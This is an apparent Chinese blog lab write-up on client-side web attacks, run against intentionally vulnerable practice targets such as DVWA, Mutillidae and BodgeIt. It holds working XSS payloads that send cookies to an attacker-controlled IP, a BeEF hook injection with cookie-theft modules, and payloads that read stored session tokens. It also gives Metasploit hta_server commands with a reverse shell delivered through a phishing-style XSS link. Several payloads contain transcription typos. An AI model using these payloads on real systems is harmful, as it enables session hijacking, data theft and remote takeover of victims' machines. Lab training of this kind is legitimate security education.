Web渗透测试中使用跨站脚本攻击客户端

目录

一、介绍

二、使用浏览器绕过客户端控制

三、识别跨站脚本漏洞

四、利用XSS获取Cookie

五、利用DOM XSS

六、利用BeEF执行XSS攻击

七、从Web储存中提取信息

八、使用ZAP测试WebSokets

九、使用XSS和Metasploit获取远程shell


一、介绍

    Web应用程序和其他应用程序的主要区别在于,Web应用程序没有在客户端安装特定的软件或者用户界面,因此浏览器在用户的设备上扮演着客户端的重要角色。

    在本章中,我们将重点讨论利用以下事实的漏洞:浏览器是一个代码解释器,可以读取HTML和脚本代码,并将结果显示给用户,还允许用户通过HTTP请求和最近的WebSockets(HTML 语言最新版本 HTML5 的一个补充)与服务器交互的。

    在本实验中我们使用虚拟机与OWASP BWA靶机进行实验,由于实验过程较长,只展示重要过程截图。

二、使用浏览器绕过客户端控制

客户端和服务端的处理同时在Web应用中发生。客户端通常用于接收呈现给用户的信息,值得一提的是一些输入验证与认证授权会在客户端执行。当这些验证和认证没有通过服务端再次做检查时,就会遇到一些安全问题。在这节中,我们将看到这些实例,即恶意用户可以利用上述安全问题绕过客户端验证。

实战演练

1.登陆 WebGoat, 点击 Access Control Flaws,转到 LAB:Role Based Access Control→Stage 1:Bypass Business Layer Access Control (阶段1:绕过业务层访问控制)

2,使用tomeat的登陆凭证(tom, tom)登陆这个表单,并用F12启用firefox的开发者工 具

3,来检查一下员工表单。我们可以看到一个值为105的html标签: Tom Cat(employee)

4,接着转到开发者工具中的Network选项卡并单击ViewProfile,可以注意到请求中有. 个名为emplovee id的参数,其值为105;

5,单击ListStaff返回列表。

6,更改为开发者工具中的Inspector选项卡

7,双击标记的值(105)将其改变为101,尝试一下是否可以通过改变这个值查看其他用户的信息。

8.再次点击ViewProfile :

9,现在, WebGoat给的目标是使用tom的账户删除tom的个人信息。来尝试一下,点击ListStaff 返回列表

10,注意View Profile按钮

11,它的名称是action,值为ViewProfile,我们将其改为DeleteProfile

12.可以发现按钮上面的字已成功更改,点击DeleteProfile后,即可完成目标任务。

三、识别跨站脚本漏洞

实战演练让我们看看以下步骤:

1,我们将使用易受攻击的Web应用程序(DVWA)来完成这个小节。使用默认的管理凭 据(admin作为用户名和密码)登录,然后到XSS reflected (反射xss) 。

2,测试漏洞的第一步是观察应用程序的正常响应。在文本框中填写一个名称字符串并且点击提交。在这里我们填写的是:Bob

3,应用程序使用的是我们输入的字符串。如果我们引入一些特殊字符或者数字而不是一个有效的名称字符串,会发生什么呢?让我们试试:<'this is the first test'>

4,现在,我们看到我们在文本框输入的任何内容都将出现在响应中;也就是说,它成为了响应 HTML 页面的一部分。

源代码显示,在输出中没有对特殊字符进行编码,我们发送的特殊字符在没有任何预先处理的情况下反射回页面。“<”和“>”是用来定义HTML标签的,所以我们可以引入一些脚本代码。

5.试着在普通输入的后面加上非常简单的脚本代码:Bob<script>alert('xss')</script>

四、利用xss获取Cookie

实战演练利用 XSS攻击 Cookie 是一定需要一个服务器的,在这里例子中我们使用一个简单的 python 功能模块来代替服务器:

1、在Kali Linux的终端上运行以下命令来开启HTTP服务:

2、然后登陆 DVWA,再转到 XSS reflection下;

3、在文本框中输入以下内容(192.168.56.10为Kali主机IP地址) :Bob<script>document.write('<img sre="http://192.168.56.10:88/"+document.cookie+"">");</seript>

4、查看终端,你会发现出现以下信息;

五、利用DOM XSS

实战演练以下是在 Web 应用程序中检测和利用此漏洞的步骤;

1.在易受攻击的虚拟机VM_1中,转到Mutillidae II | OWASP 2013 |XSS | DOM | HTML5Storage

2.这个练习会展示一个表单,用于在浏览器的本地记录中存储信息和相应的session,然后在“网络”选项卡中启用开发人员工具。

3·尝试添加一些数据,我们发现在开发者工具中并没有进行网络通信,绿色条显示是我们输入的值:

4.如果我们检查"Add New"按钮,我们看到它在单击时调用了一个函数 addItemToStorage:

5·现在,转到Debugger选项卡并查找addltemToStorage函数, 我们在index.php的第1064行找到了这个函数:

六、利用BeEF执行XSS

环境准备

在开始之前,我们需要确保已经启动了 BeEF 服务,默认管理页面的url 是:http://127.0.0.1:3000/ui/panel (默认账号和密码为 beef /beef)

.1.在Kali Linux中可以使用多种方法启动BeEF工具:

(1)在终端执行beef-xss命令启动BeEF

.(2)从安装BeEF的目录下启动,如下图所示。ed /usr/share/beef-xss/./beef

注意1:启动BeEF之前确保 apache2已经启动(systemetl restart apache2) ;新版 BeEF需要在启动时修改默认账号密码,或在配置文件"/etc/beef-xss/config.yaml"修改默认账号密码。

注意2:如果启动BeEF报错,建议按下面步骤重新安装 beef-xss

(1)卸载 beef#apt remove beef-xss

(2)重新安装 ruby 和 beef
 

#apt update25#apt install ruby

#apt install ruby-dev libpcap-dev

#gem install eventmachine

#apt install beef-xss

2.现在,浏览器打开http://127.0.0.1:3000/ui/panel并使用修改后的账户名和密码(beef/beef001)登录。启动后不要关闭窗口,不然登录界面会提示密码错误。如果成功打开,那我们就准备进行下一步

实战演练

BeEF需要目标浏览器调用hook.js文件,它能让浏览器挂钩到我们的BeEF服务器,另外我们将利用一个易受XSS攻击的应用程序,让目标用户调用它:

1.想象你是受害者(如Win7主机),你收到了一封包含xss链接的电子邮件(或网页),若你点击它,访问了该链接:http://192.168.56.11/bodgeit/seareh.jsp?q=<seript sre="http://192.168.56.10:3000/hook.js"></seript>

2. 现在,在 BeEF 面板中,攻击者将看到一个浏览器上线:

3,如果我们在浏览器中查看Logs选项卡,我们可以看到BeEF存储了用户在浏览器窗口中执行的操作的信息,比如输入和单击,

4,在浏览器被 hook.js文件挂钩之后,目标用户在被域中导航攻击时,攻击者最好要让会话变为持久性的。下一步转到攻击者浏览器中的Commands选项卡,进入模块目录,转到浏览器中的Persistence | Man-In-The-Browser,然后单击Execute执行它.

5,模块执行后,在模块的历史记录中选择相关命令,检查结果如下:

6,攻击者还可以使用BeEF在受害者浏览器中执行命令。例如,在模块目录中,到Browser| Get Cookie,点击Execute 来获取用户的Cookie。

七、从Web储存中提取信息

环境准备

我们将再次使用Mutillidae I1及其 HTML5 网络存储练习来完成此实验。以下是步骤:

1.在Kali主机中,浏览Mutillidae II (http://192.168.56.11/mutillidae)并在菜单中转到HTML5 | HTML5 Web Storage(存储) | HTML 5 Storage

2.打开开发人员工具,转到Storage(存储)选项卡,再转到Local Storage(本地存储)并选择服务器地址(192.168.56.11)

在这里,我们可以看到Local Storage(本地存储)中有三个值。

3·现在,切换到Session Storage(会话存储)并选择服务器地址:

在临时或每会话存储中,我们看到四个值,其中一个称为Secure.AuthenticationToken

4. 我们之前提到可以基于每个域访问本地存储,这意味着在同一个域中运行的任何应用程序都可以读取和操作,例如,我们在步骤2中看到的MessageOfTheDay条目。让我们尝试利用另一个漏洞应用程序来访问此数据。在同一浏览器上,打开一个新选项卡,然后转到Bodgelt (http://192.168.56.11/bodgeit/)。

5. 我们知道 Bodgelt 的搜索易受 xss 攻击,因此输入以下有效载荷,在搜索框中执行 它:<script>alert(window.localStorage.MessageOfTheDay);</seript>

6·现在,尝试使用会话存储:<script>alert(window.sessionStorage.getltem("Secure.AuthenticationToken"));</seript>

7.由于我们无法从其他窗口访问会话存储,请返回 Mutillidaell 选项卡并转至 OWASP2013 | XSS | Reflected(First Order)(反映的第一顺序) | DNS Lookup(DNS查找)。

8.在"Hostname/IP"字段中,输入前面的有效内容并单击"Look DNS"(查找 DNS)按钮:

八、ZAP测试WebSokets

环境准备

OWASP-BWA还没有包含一个使用WebSockets的应用程序,因此我们需要使用同样 来自OWASP的Damn Vulnerable Web Sockets(DVWS)(https://www.owasp.org/index.php/OwASP_Damn_Vulnerable_Web_Sockets_(DVws) )来完成这个小节。

DVws是一个基于php的开源应用程序,从它的GitHub存储库下载到你的Kali主机:git clone https://github.com/interference-security/DVWS/

在理想的情况下,我们只需要下载DVws应用程序(如果是下载zip文件,请使用unzip命令解压缩包) ,将其复制到Apache根目录,并启动服务使其运行即可。但不幸的是,在Kali Linux 中并非如此。

首先,需要使用 apt install php-mysqli 包来安装 php-mysqli。注意它的 PHP 版本,在我们的案例中是7.2版本。检查Apache2配置文件( /etc/apache2/apache2.conf)中的PHP版本并相应地进行调整。确保PHP模块的正确版本在/etc/apache2/mods-enabled/,如果没有,从/etc/apache2/mods-available 获取必要的文件

另外,检查MySQL模块是否在php.ini启用(/ete/php/<php-version>/apache2/php.ini).查找"Dynamic Extensions"部分并启用(删除前后的";"),在下一行写入extension= mysqli

.接下来,配置数据库。首先,启动MySQL服务(service mysql start),然后从终端启动MySQL客户端(mysql)。在MySQL提示符下,使用ereate database dvws_db创建DVws数据库,然后退出MySQL。创建数据库时,我们需要创建它的表结构。DVws包含了一个实现此目的的脚本,因此在终端中执行以下操作:mysql dvws_db </var/www/html/dvws/includes/dvws_db.sql(假设/var/www/html/是Apache的根目录):

由于DVws使用预定义的主机名,我们需要将该名称的名称解析固定到本地地址,我们将使用该地址进行测试。使用最喜欢的文本编辑器打开/ete/hosts并添加行:127.0.0.1 dvws.local

现在,我 们可 以 使 用 service apache2 start 启动 Apache 服 务并浏 览 到 http://dvws.local/dvws/。按照这里给出的说明操作,包括在 dvws 目录启动 WebSockets 侦 听器( php ws-socket.php ),并运行 setup脚本来完成数据库的配置(http://dvws.local/dvws/setup.php) :

实战演练

我们选择ZAP作为这个练习,因为它可以监视、拦截和重放WebSockets消息。BurpSuite可以监控websocket通信,但是,它不能拦截、修改和重放消息:

1,将浏览器配置为使用ZAP作为代理,在ZAP中,通过单击底部面板中的plus图标启用WebSockets选项卡:

2,现在,在浏览器中转到http://dvws.local/dvws/ ,从菜单中选择Stored Xss (如果使 用 ZAP 代理后无法连接数据库,可以尝试在 ZAP 中启动浏览器打开 http://dvws.local/dvws/ 然后再选择菜单“Stored XSS”,输入数据):

3.输入一些评论然后切换到ZAP。在History选项卡中,查找到http://dyws.local:8080/post-comments:这是启动webSockets会话的握手包:

发起websocket通信的请求包括Sec-WebSocket-Key报头和base64 编码的值。此密钥 不是身份验证机制,它只帮助确保服务器不接受来自非 websockets 客户端的连接:

4,在ZAP的WebSockets选项卡中,你可以看到有多个通信通道,也就是建立了多个连接,所有的消息都有一个方向(进出) ,一个操作码,一个有效载荷,这也就是要传输的信息:5,要拦截WebSocket,请单击WebSockets选项卡中的break图标添加断点。选择需要 与拦截匹配的操作码、通道和载荷模式:

5,要拦截WebSocket,请单击WebSockets选项卡中的break图标添加断点。选择需要 与拦截匹配的操作码、通道和载荷模式:

6,当一个断点被命中时,消息将显示在上面的面板中,就像ZAP中的其他所有断点一样,在这里我们可以更改内容并发送或丢弃消息:

7. ZAP还具有重放/重发现有消息的能力,右键单击WebSockets选项卡中的任何一行, 选择Open/Resend withMessage Editor (再次发送…) :

8.然后,我们将看到WebSocket Message Editor窗口,在这里我们可以更改消息的所有参数,包括消息的方向和内容,然后再次发送:

如果web应用程序易受攻击,则可以通过websocket重复的利用web应用程序中固有的大多数安全缺陷。

九、使用XSS和Metasploit

环境准备

1.VM_1漏洞系统Bodgelt。

2. Windows7虚拟机。

实战演练

我们要做是用xss使客户端的Windows7的浏览器打开并执行托管在Kali Linux上的恶意 HTA 文件。1.打开Metasploit控制台:msfconsole

2.启动后,使用以下命令加载exploit模块和payload:

use exploit/windows/misc/hta_serverset payload windows/shell/reverse_tep

3,设置server的监听端口为8888:

set srvport 8888

4,设置本地IP及本地监听端口为12345
 

set ihost 192.168.56.10

set Iport 12345

show options

5. 现在我们运行 exploit 等待客户端连接:run

注意服务器启动时给出的信息,Local IP 给出了访问 HTA 文件的方式。(就像是:kOPjslltz2cI3Mm.hta)

6. 现在切换到 Windows 虚拟机,打开 IE 浏览器

7. 假设攻击者发送了一封包含下面链接的钓鱼电子邮件给受害者,在 IE(在 IE 浏览器的安全设置中“禁用”xSS筛选器)中打开它。http://192.168.56.11/bodgeit/search.jsp?q=t<iframesrc="http://192.168.56.10:8888/k0Pjslltz2cI3Mm.hta"></iframe>

8.如果你的骗人的手段足够高,就可以使得用户接受不安全警告下载执行恶意文件:

9,当提示运行、保存或者取消时,选择运行HTA文件

10,现在切换回Kali,你就可以在控制台中看到Metasploit已经成功收到来自客户端的负载请求并且建立了 Shell 连接。

11,在我们这个例子中, Metasploit建立的会话在2上,我们可以使用sessions命令查看详细信息

12,使用sessions-i2命令,你就会跳入Windows命令窗口下。执行ipconfig命令来查 看受害者的 IP 信息

总结

在web渗透的学习中我深刻的认识到网络安全的重要性,并且知道想要更好的维护网络安全必须要知道黑客等是用什么攻击手段,正所谓知己知彼才能百战不殆。并且知道怎样运用好相关的工具强大的功能以及方法。

网络安全的重要性无法被夸大。随着当今社会的数字化和互联互通,我们越来越依赖于互联网和网络技术。然而,同时也面临着各种网络威胁和风险。所以要从各个方面来了解以及保护网络,让我们的隐私受到更好的保护。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值